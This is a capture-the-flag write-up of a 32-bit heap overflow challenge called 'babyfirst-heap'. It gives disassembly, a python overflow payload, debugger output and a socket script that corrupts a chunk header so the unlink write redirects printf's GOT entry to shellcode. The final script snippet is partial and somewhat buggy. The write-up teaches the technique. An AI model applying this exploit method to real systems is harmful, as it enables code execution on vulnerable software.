Ex. Output: [ALLOC][loc=9449058][size=755] [ALLOC][loc=9449350][size=260] [ALLOC][loc=9449458][size=877] [ALLOC][loc=94497D0][size=1245] [ALLOC][loc=9449CB8][size=1047] [ALLOC][loc=944A0D8][size=1152] [ALLOC][loc=944A560][size=1047] [ALLOC][loc=944A980][size=1059] [ALLOC][loc=944ADA8][size=906] [ALLOC][loc=944B138][size=879] [ALLOC][loc=944B4B0][size=823] Write to object [size=260]:
The user is able to give 4096 bytes of code, given in the following segment.
.text:08048A6B mov dword ptr [esp+4], 4096 ; number of input bytes .text:08048A73 lea eax, [esp+330h] .text:08048A7A mov [esp], eax ; write location .text:08048A7D call get_my_line
At this point, it becomes the black magic that is a heap overflow. The nature of exploiting a heap overflow with a bad free is to overwrite the header in a manner where we are able to direct an arbitrary write. Writing over the header of the next block with 0xfffffffc, corrupts unlink method when the 260 memory block is being freed. At this point our exploit looks like:
python -c 'import struct;print "BBBB"+"CCCC"+"A"*252 + struct.pack("<I",0xfffffffc)'
Running this segfaults. Using a debugger gives us the following output, which we will step through in a second.
--------------------------------------------------------------------------[regs] EAX: 0x42424242 EBX: 0xF7FBBFF4 ECX: 0x0804D004 EDX: 0x43434343 o d I t s z A P c ESI: 0x00000000 EDI: 0x00000000 EBP: 0xFFFFC128 ESP: 0xFFFFC0F0 EIP: 0x080493F6 CS: 0023 DS: 002B ES: 002B FS: 0000 GS: 0063 SS: 002B --------------------------------------------------------------------------[code] => 0x80493f6: mov DWORD PTR [eax+0x8],edx 0x80493f9 : mov eax,DWORD PTR [ebp-0x24] 0x80493fc : mov edx,DWORD PTR [ebp-0x28] 0x80493ff : mov DWORD PTR [eax+0x4],edx
If you do a bit of reading on heap overflows with regards to abusing the unlink method, you will realize that at location 0x80493f6, the program attempts to write our second four bytes into the memory location represented by our first four bytes plus eight. In location 0x80493ff, our first four bytes will be written to the location pointed two by the second four bytes plus four. We could try to rebuild all the blocks that come after our exploit, but that would we incredibly difficult. After reading for a bit, it was recommended by some to overwrite the GOT entry for free with the location of our buffer. Since the free was not dynamically linked, we needed to find something else. Before it freed each block, it printed which block was being freed. This can be seen in:
.text:08048ADB mov eax, offset aFreeAddressX ; "[FREE][address=%X]\n" .text:08048AE0 mov [esp+4], edx .text:08048AE4 mov [esp], eax ; format .text:08048AE7 call _printf .text:08048AEC mov eax, [esp+133Ch] .text:08048AF3 mov eax, [esp+eax*8+10h] .text:08048AF7 mov [esp], eax ; mem .text:08048AFA call free
The printf function was dynamically linked. When coupled with the lack of RELRO, I decided to overwrite the GOT entry for printf with the location of our shellcode (Location of input + 8 bytes). The locations to write could be determined as the program ran over the wire since it printed out each location from our first example block. Some example code determining the locations using the pexpect library is shown:
s = socket.socket() s.connect(("babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c.2014.shallweplayaga.me", 4088)) so = fdpexpect.fdspawn(s) so.expect("ALLOC") so.expect("size=260") parse = so.before[-9:-2] so.expect("]:") ourBuff = str("0x"+parse) print hex(int(ourBuff , 16)) exploit = struct.pack("<I", hex(int(ourBuff , 16))) exploit += struct.pack("<I", printfLoc-4)When printf is called after out malformed block gets freed, our shellcode is run instead, allowing us to get the flag. If you have any questions, feel free to ask!
--Imp3rial